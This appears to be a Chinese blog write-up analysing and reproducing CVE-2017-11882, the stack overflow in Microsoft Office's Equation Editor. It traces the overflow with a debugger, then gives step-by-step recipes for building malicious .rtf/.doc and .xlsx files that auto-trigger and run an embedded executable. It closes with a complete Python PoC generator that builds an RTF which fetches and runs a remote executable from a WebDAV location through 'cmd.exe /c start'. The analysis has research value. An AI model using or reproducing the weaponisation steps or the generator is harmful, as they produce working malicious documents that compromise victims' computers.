CVE-2017-11882漏洞分析及复现

漏洞简介

CVE-2017-11882漏洞属于缓冲区溢出类型的漏洞,攻击者可利用此漏洞实现任意代码执行,并且隐蔽性极高。该漏洞通杀目前被广泛使用的Office 2003到2016的所有版本。漏洞产生原因是由于EQNEDT32.EXE(Office自带的公式编辑器)进程在读入包含MathType的ole数据时,再拷贝公式名称(Font Name 数据)时没有对名称长度进行校验,从而导致缓冲区溢出,最终通过覆盖其函数的返回地址,实现任意代码执行的。

分析POC

环境及工具

  • 系统环境 Win7 x32、Office 2013
  • 工具 OD、IDA

验证POC

首先获取POC,网上关于CVE-2017-1182的POC有很多,可见:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882。

其中笔者下载的POC链接为:https://github.com/embedi/CVE-2017-11882。

直接双击运行带有漏洞利用的**.rtf**文件,在打开.rtf文件的同时计算器进程也随之启动,如图1:

图1

Process Monitor可以看到计算器进程是由EQNEDT32.EXE(公式编辑器)调用cmd执行命令cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA C来启用的,并且从公式编辑器的调用栈中,可以看到进程创建是由函数WinExec发起的,如图2:

图2

漏洞定位

附加调试程序EQNEDT32.EXE,在函数WinExec处下断,然后运行POC文件。当程序断下来时,查看栈信息,可知函数WinExec调用是来自430C12处,如图3:

图3

再在地址430C12下断点,并重新运行POC。当程序再次断下来时,可知地址430C12处是Call WinExec的指令,并观察栈帧,发现ESP+4的值正是当前Eip指向的地址430C12,然后再往栈的上方看,发现大量0x41(A)的垃圾指令。通过数据窗口跟随这些指令,就会发现这些垃圾指令正是图2中捕获的指令,如图:

图4

由上图中的垃圾指令以及垃圾指令后面的(ESP+4)处的当前EIP可推断出,这是栈溢出覆盖返回地址的操作导致的。那么便在栈地址12F1D0处下硬件写入断点(看是在哪覆盖的返回地址)。再次运行POC,经过多次断下并运行后(硬件断点下在栈中会触发很多次中断),最终程序将在411658处将返回地址修改为了430C12(如下图5),便可知发生栈溢出的地址是411658处。

图5

漏洞原理分析

栈溢出原理

通过调试知道了引发栈溢出的地址为41165A,用IDA去该地址处静态分析漏洞产生的原因。在EQNEDT32.EXE地址41165A处,发现漏洞产生的原因是因为在进行字符串拷贝操作时,没有对要拷贝的字符串进行长度判断,从而导致了栈溢出,如图6:

图6

那么这个要拷贝的数据是来自哪里呢?经过众多大神的分析,要拷贝的数据正是 oleObject 对象Equation Native中的==Font Name==字符串。那么我们现在就来查看下 POC 的 ==Font Name== 是什么样的。

首先从.rtf文件中取出 oleObject 对象

现在可通过oletools工具中的rtfobj取出POC的Equation Native ole对象,命令为:

1
rtfobj -s all  <exploit.rtf>

执行完如图下的命令后,便会将 oleObject 文件保存到文档所在目录下,如图7:

图7

然后可以通过工具 OffView 查看从 .rtf 文件中提取出来的 oleObject 对象,查看Root Entry\Equation Navitve下的 data 字段,就能看到==要拷贝的字符串数据==(正是图2抓取到的打开计算器的指令),如图8:

图8

因此当公式编辑器进程运行到地址41165A处,拷贝这段字符串数据时,由于长度过长从而导致了栈溢出,并且精准的覆盖了函数返回地址,使其跳转到设计好的地址去执行,本 POC 中跳转到地址430C12执行函数WinExec,来调用计算器。

覆盖返回地址的具体操作

首先,复习一下正常的函数调用过程。函数调用会先将当前函数所需参数从右往左依次压进栈,然后再将返回地址和上一层栈的ebp压进栈中。然后剩下的就是当前函数临时变量所需的栈数据。可见下图覆盖前:
从前面分析的可知,CVE-2017-11882是由于没有对strcpy要拷贝的字符串的长度进行判断,从而导致在向栈区临时变量buffer拷贝时,当被拷贝的数据达到一定长度时,便能覆盖函数返回地址,从而当函数执行到返回时,便会跳转到被覆盖后的地址去执行(本例中将函数返回地址覆盖为WinExec的地址来执行打开计算器的命令的)

image-20200530140801077

两种不同利用方式

针对CVE-2017-11882有两种不同的覆盖函数返回地址的方式

第一种就是该POC的模式,通过将返回地址覆盖为Call WinExec的地址,然后当执行到返回时,便会跳转到WinExec去执行。并且此时的==esp正指向要拷贝的字符串==,可以根据需求执行命令。比如

另一种利用方法

是将shellcode放在rtf文件公式编辑器对象的Data数据中,公式编辑器会给这段shellcode数据开辟一块堆地址,然后会将对地址放到一个固定的指针中。利用这一特性,就可以将返回地址使用执行ret指令的地址覆盖,当函数执行到返回便会跳转到ret指令处执行ret指令,此时ret的指令便会跳转到栈顶也就是函数调用时参数的地址(存储的是要拷贝的字符串)所在的栈中去执行。然后在栈中执行拷贝的字符串,便会从固定地方的指针取出存放shellcode的堆地址,跳转过去执行shellcode。这种方式执行的shellcode可以很长,功能也更加全面。

漏洞产生的必要条件

从前面的分析中,大家也不难看出EQNEDT32.EXE这个程序并没有开启ASLR(地址随机化),这为其将返回地址修改为固定地址430C12(Call WinExec)提供可能,并且改程序也没有开启DEP(数据执行保护),也为其能在栈中执行shellcode提供可能(笔者所演示的POC没有涉及执行Shellcode,大家可自行尝试覆盖返回地址到栈中执行shellcode操作),通过 PEStudio 查看EQNEDT32.EXEASLRDEP的状态,如图7:

image-20200317120029595

自动触发条件

该漏洞针对Word和Execl文件都是可以适用的,不过目前经研究其中只有.rtf文件和.xlsx文件可以自动触发该漏洞。doc、docx、xls目前没有发现可以自动触发的相关属性。

.rtf和.xlsx文档之所以可以自动触发该漏洞原因分别为:

.rtf通过设置objupdate属性

该属性是在显示对象之前更新oleObject对象,从而在打开文档时便会自动调用公式编辑器,从而触发漏洞。

image-20200531163920050

image-20200531163956304

.xlsx通过设置autoload属性

\xl\worksheets目录下的sheeet1.xml可设置自动加载 oleObject 对象属性,只需要将autoLoad的值置为1,就可以在打开 Excel 表的同时自动加载公式编辑器对象,如图:

image-20200406172548551

漏洞复现

手动构造POC,实现将文档中的PE文件释放到临时目录下去,并运行该文件。这里以.doc为例,进行复现:

效果图:

漏洞复现

rtf漏洞复现

1.先新建docx文档,并在文档中插入公式编辑器对象,这里选择(4*4)的矩阵模型(原则上大于0xC5就可,用于存放payload),其中的数值可随意填写,如图:

image-20200531174921994

2.插入一个package对象,文件选择PE文件,这里选择笔者临时写的一个弹窗程序,如图:

image-20200531180249627

3.使用解压缩软件打开docx文件,将\word\embeddings\oleObject2.bin取出来用offvis找到Equation Native Stream Data的偏移和大小,在010中将其payload替换掉,如图:

替换后

image-20200531180340288

4.前面也说明了,只用xlsx和rtf通过设置相应的属性来实现加载oleObject,并且只有rtf文档会自动在temp目录下释放文件。将文件另存为rtf,并将扩展名改为doc(实际还是rtf文档,word可以正常处理)。

5.在用记事本打开rtf文档,查找object字符串,在第一次匹配到的地方添加objupdate属性,如图:

image-20200531181451887

利用成功,如图:

image-20200531181556892

xlsx漏洞复现

1.新建xlsx文档,并在文档中插入公式编辑器对象,这里选择(4*4)的矩阵模型(原则上大于0xC5就可,用于存放payload),其中的数值可随意填写,如图:

image-20200531165939456

2.使用解压缩软件打开xlsx文件,将\xl\embeddings\oleObject1.bin取出来用offvis找到Equation Native Stream Data的偏移和大小,在010中将其payload替换掉,如图:

替换后

image-20200531182955312

3.再使用解压缩软件打开xlsx文件,往\xl\worksheets\sheet1.xml文件中添加autoLoad属性并将其设置为1,如图:

image-20200531183537866

利用成功,如图:

image-20200531182906464

POC

网上有很多POC,这里列出来其中一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import argparse


RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""

RTF_TRAILER = R"""\par}
"""

OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """

OBJECT_TRAILER = R"""
}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260
0100090000039e00000002001c0000000000050000000902000000000500000002010100000005
0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002
1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000
0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000
0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000
002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100
000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a
0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300
00000000
}}}
"""

OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
0000000000000000000000000000000000000000000000000000001400000000000000010043006f
006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000
00000000000000000000000000000000000000000000000000000000000000010000006600000000
00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000
00000000000000000000000000000000000000000000000000000000000000000000000000030004
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000004500710075
006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
0000000000000000000000000000000000000000000000000000000000000004000000c500000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000ff
ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
7cef1800040000002d01010004000000f0010000030000000000
"""


COMMAND_OFFSET = 0x949*2


def create_ole_exec_primitive(command):
if len(command) > 43:
raise ValueError("primitive command must be shorter than 43 bytes")
hex_command = command.encode("hex")
objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
return OBJECT_HEADER + ole_data + OBJECT_TRAILER


def create_rtf(header, trailer, remote_location, remote_file):
ole1 = create_ole_exec_primitive("cmd.exe /c start " + remote_location + " &")
ole2 = create_ole_exec_primitive(remote_file + " &")
# We need 2 or more commands for executing remote file from WebDAV
# because WebClient service start may take some time
return header + ole1 + ole2 + ole2 + ole2 + trailer


if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
parser.add_argument("-u", "--url", help="Remote location to trigger WebClient service", required=True)
parser.add_argument("-e", "--executable", help="Remote executable in WebDAV path", required=True)
parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)

args = parser.parse_args()

rtf_content = create_rtf(RTF_HEADER, RTF_TRAILER, args.url, args.executable)

output_file = open(args.output, "w")
output_file.write(rtf_content)

print "!!! Completed !!!"